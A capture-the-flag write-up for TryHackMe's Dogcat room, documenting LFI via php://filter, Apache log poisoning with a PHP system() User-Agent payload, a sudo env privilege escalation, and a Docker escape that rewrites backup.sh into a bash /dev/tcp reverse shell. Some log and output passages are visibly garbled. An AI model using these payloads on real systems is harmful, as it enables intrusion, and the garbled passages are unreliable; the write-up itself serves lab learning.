### TryHackMe - Write-up - Dogcat Room - Linux/LFI/RCE/Docker

Lets start with basic enumeration Nmap portscan:

```
(root ⊗koelhosec)-[/home/tryhackme/dogcat]

# nmap -A -T4 -p- -vvv 10.10.155.33 | tee nmap.txt

PORT STATE SERVICE REASON VERSION

22/tcp open ssh syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

80/tcp open http syn-ack ttl 60 Apache httpd 2.4.38 ((Debian))

|_http-title: dogcat
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)
```

We have a SSH and the website running on port 80. Accessing the website we can see it's loading dogs/cats pictures on php.

Google search for "php lfi filter"

https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/

Using the filter syntax we can have access to the base64 encoded output:

O & 10.10.155.33/?view=php://filter/convert.base64-encode/resource=dog

## dogcat

a gallery of various dogs or cats

what would you like to see?



Here you go!PGHZyBzcmM9lmRvZ3MvPD9waHAqZwNobyByYwSkKDEsIDEwKTsqPz4uanBniiAvPgoK

And then decode it on our machine:

```
(root ⊗koelhosec)-[/home/tryhackme/dogcat]
# echo "PGltZyBzcmM9ImRvZ3MvPD9waHAgZWNobyByYW5kKDEsIDEwKTsgPz4uanBnIiAvPg0K" | base64 -d
<img src="dogs/<?php echo rand(1, 10); ?>.jpg" />
```

There are 10 images chosen randomly.

So we can try reading the source code of the page via the same method:

O & 10.10.155.33/?view=php://filter/convert.base64-encode/resource=dog/../index

Croof contents of the content of the

The site checks if the "ext" parameter was provided, and if not it adds ".php" by default to our filename:

```
<!DOCTYPE HTML>
<intml>

<intml>

<intml>

<intml>
```

So now we can just provide the ext parameter with nothing and we will be able to fetch files via the LFI:

○ 🔒 10.10.155.33/?view=dog/../../../etc/passwd&ext=

# dogcat

a gallery of various dogs or cats

### what would you like to see?

A dog

A cat

Here you go!rootxooroot/root/bin/bash daemonx41daemon/usr/sbin/usr/sbin/nologin binx2:2bin/bin:/usr/sbin/nologin sysx33sys/dev/usr/sbin/nologin syncx465534sync/bin:/bin/sync gamesx5:60games/usr/games/usr/sbin/nologin manx612man/var/cache/man/usr/sbin/nologin lpx7:71p/var/spool/pd/usr/sbin/nologin mailx88mail/var/mail/usr/sbin/nologin newsx99news/var/spool/news/usr/sbin/nologin uucpx10:10uucp/var/spool/uucp/usr/sbin/nologin proxyx13:13:proxy/bin/usr/sbin/nologin www-datax3333www-data/var/www/usr/sbin/nologin backupx3434backup/var/backups/usr/sbin/nologin listx3838Mailing List
Manager/var/list/usr/sbin/nologin ircx3939ircd/var/run/ircd/usr/sbin/nologin gnatsx4444:Gnats

Bug-Reporting System (admin)/var/lib/gnats/usr/sbin/nologin
nobodyx6553465534nobody/nonexistent/usr/sbin/nologin \_aptx10065534:/nonexistent:/usr/sbin/nologin

The access log path for Apache is "/var/log/apache2/access.log" so let's try to load it as it might have more info on which parameters are being logged:

🔁 view-source:http://10.10.155.33/?view=dog/../../../var/log/apache2/access.log&ext=

We can see as we scroll down through the logs that next to the route there is the User-Agent parameter. We can insert a small php script to later use the log for code execution:

```
<html>
               <title>dogcat</title>
                 k rel="stylesheet" type="text/css" href="/style.css">
</head>
                 <h1>dogcat</h1>
                <i>a gallery of various dogs or cats</i>
                               <h2>What would you like to see?</h2>
<a href="/?view=dog"><button id="dog"><button id="dog"
<nz>wnat wout you take to Seer
<a href="/Tyiew=cat"><a href="/Tyiew=cat"><b href="/Tyiew=cat"><a h
                                                                                                                                                                                                                                                                             "curl/7.64.0"
                                                                                                                                                               "GET /
"GET /
"GET /
"GET /
"GET /
127.0.0.1 - -
127.0.0.1 - -
                                                    [20/Feb/2022:12:25:52 +0000]
[20/Feb/2022:12:26:23 +0000]
                                                                                                                                                                                          HTTP/1.1" 200 615 "-" "curl/7.64.0"
                                                                                                                                                                                          HTTP/1.1" 200 615 "-" "curl/7.64.0
HTTP/1.1" 200 615 "-" "curl/7.64.0
                                                                                                                                                                                                                                                                             "curl/7.64.0"
127.0.0.1 - -
                                                    [20/Feb/2022:12:26:53 +0000]
                                                                                                                                                                                          HTTP/1.1" 200 615 "-" "curl/7.64.0"
HTTP/1.1" 200 615 "-" "curl/7.64.0"
HTTP/1.1" 200 615 "-" "curl/7.64.0"
127.0.0.1 - -
127.0.0.1 - -
                                                    [20/Feb/2022:12:27:23 +0000]
                                                    [20/Feb/2022:12:27:54 +0000]
127.0.0.1 - - [20/Feb/2022:12:28:24 +0000]
                                                                                                                                                                 "GET /
 127.0.0.1 - -
                                                     [20/Feb/2022:12:28:55 +0000]
                                                                                                                                                                                          HTTP/1.1" 200 615 "-"
HTTP/1.1" 200 615 "-"
                                                                                                                                                                "GET /
"GET /
"GET /
                                                                                                                                                                                                                                                                             "curl/7.64.0"
127.0.0.1 - -
                                                    [20/Feb/2022:12:29:25 +0000]
                                                                                                                                                                                          HTTP/1.1" 200 615 "-"
HTTP/1.1" 200 615 "-"
HTTP/1.1" 200 615 "-"
127.0.0.1 - [20/Feb/2022:12:29:55 +0000]
127.0.0.1 - [20/Feb/2022:12:30:26 +0000]
127.0.0.1 - [20/Feb/2022:12:30:26 +0000]
127.0.0.1 - [20/Feb/2022:12:30:56 +0000]
                                                                                                                                                                                                                                                                             "curl/7.64.0
                                                                                                                                                                                                                                                                             "curl/7.64.0"
                                                                                                                                                                 "GET /
                                                                                                                                                                "GET /
"GET /
"GET /
"GET /
"GET /
                                                                                                                                                                                          HTTP/1.1" 200 615 "-" "curl/7.64.0"
HTTP/1.1" 200 615 "-" "curl/7.64.0"
 127.0.0.1 -
                                                     [20/Feb/2022:12:31:26 +0000]
                                                                                                                                                                                                                                                                             "curl/7.64.0"
127.0.0.1 - -
                                                    [20/Feb/2022:12:31:57 +0000]
                                                                                                                                                                                          HTTP/1.1" 200 615 "-"
HTTP/1.1" 200 615 "-"
HTTP/1.1" 200 615 "-"
127.0.0.1 -
                                                    [20/Feb/2022:12:32:27 +0000]
[20/Feb/2022:12:32:57 +0000]
                                                                                                                                                                                                                                                                             "curl/7.64.0"
                                                                                                                                                                                                                                                                             "curl/7.64.0
127.0.0.1 -
                                                                                                                                                                                                                                                                              "curl/7.64.0"
127.0.0.1 -
                                                     [20/Feb/2022:12:33:28 +0000]
                                                      [20/Feb/2022:12:33:58 +0000]
                                                                                                                                                                "GET /
"GET /
"GET /
"GET /
                                                                                                                                                                                            HTTP/1.1" 200 615
                                                                                                                                                                                                                                                                             "curl/7.64.0
127.0.0.1 -
                                                     [20/Feb/2022:12:34:29 +0000]
                                                                                                                                                                                          HTTP/1.1" 200 615 "-"
HTTP/1.1" 200 615 "-"
HTTP/1.1" 200 615 "-"
127.0.0.1 -
                                                     [20/Feb/2022:12:34:59 +0000]
                                                                                                                                                                                                                                                                             "curl/7.64.0"
                                                    [20/Feb/2022:12:35:29 +0000]
127.0.0.1 -
                                                                                                                                                                                                                                                                             "curl/7.64.0"
127.0.0.1 - -
                                                     [20/Feb/2022:12:36:00 +0000]
                                                                                                                                                                                          HTTP/1.1" 200 615 "-" "curl/7.64.0"
127.0.0.1 -
                                                    [20/Feb/2022:12:36:30 +0000]
                                                                                                                                                                "GET /
                                                    koelhosec)-[/home/tryhackme/dogcat]
                                    @
```

```
(root to koelhosec)-[/home/tryhackme/dogcat]
# curl "http://10.10.155.33/" -H "User-Agent: <?php system(\$_GET['c']); ?>"
```

When the log page is reloaded, right at the bottom we should see our curl command:

```
127.0.0.1 - - [20/Feb/2022:13:16:28 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"

127.0.0.1 - - [20/Feb/2022:13:16:59 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"

10.6.56.110 - - [20/Feb/2022:13:17:00 +0000] "GET / HTTP/1.1" 200 615 "-" "<br/>
<br/>
<br
```

We now have command execution via the 'c' parameter:

```
d view-source:http://10.10.155.33/?view=dog/../../../var/log/apache2/access.log&ext&c=id [20/Feb/2022:13:17:00 +0000] "GET / HTTP/1.1" 200 615 "-" "uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Now we can upload a simple php shell, serving the file via python server on our machine, and using the curl command on the target:

```
(root@koelhosec)-[/home/tryhackme/dogcat]
# ls
index.php nmap.txt phpshell.php

(root@koelhosec)-[/home/tryhackme/dogcat]
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

After that, access the file and with a netcat listener on our machine we should get a shell:

We have a shell! After some enumeration we find the first flag:

```
$ pwd
/var/www/html
$ ls
cat.php
cats
dog.php
dogs
flag.php
index.php
shelly.php
style.css
$ cat flag.php

<?php
$flag_1 =
?>
```

And the second flag is just one directory above:

```
$ cd ..
$ ls
flag2_QMW7JvaY2LvK.txt
html
$ cat flag2_QMW7JvaY2LvK.txt
$ $\[
\begin{align*}
\begin{al
```

Now for the third flag we have to escalate privileges. Trying sudo -1, shows sudo access to the /usr/bin/env with no password:

```
$ sudo -l
Matching Defaults entries for www-data on fc2cfcab4f21:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/sbin\:/sbin\:/bin
User www-data may run the following commands on fc2cfcab4f21:
    (root) NOPASSWD: /usr/bin/env
```

Searching GTFO bins gives us the command to execute and get root access:

### Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to
access the file system, escalate or maintain privileged access.

```
sudo env /bin/sh
```

#### And we have root!

```
$ sudo /usr/bin/env /bin/bash
whoami
root
```

```
The third flag is in the /root folder:

cd /root

ls

flag3.txt

cat flag3.txt
```

Now for the last flag, we move into the folder above and the .dockerenv file shows that we are actually inside a docker container... so we have to get a shell in the parent machine that is running this container.

Going into the /opt folder we find a script that is being run in the parent machine:

```
cd /opt
ls
backups
cd backups
ls
backup.sh
backup.tar
cat backup.sh
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container
```

So we can add the commands below to add a bash reverse shell and get a connection in our machine:

```
echo "#!/bin/bash" > backup.sh
echo "/bin/bash -c 'bash -i >& /dev/tcp/10.6.56.110/4567 0>&1'" >> backup.sh
```

With the netcat listener we should get a shell back within a few minutes, and find the final flag!

```
(root@koelhosec)-[/home/tryhackme/dogcat]
# nc -nlvp 4567
listening on [any] 4567 ...
connect to [10.6.56.110] from (UNKNOWN) [10.10.155.33] 43000
bash: cannot set terminal process group (6751): Inappropriate ioctl for device
bash: no job control in this shell
root@dogcat:~# ls
ls
container
flag4.txt
root@dogcat:~# cat flag4.txt
cat flag4.txt
```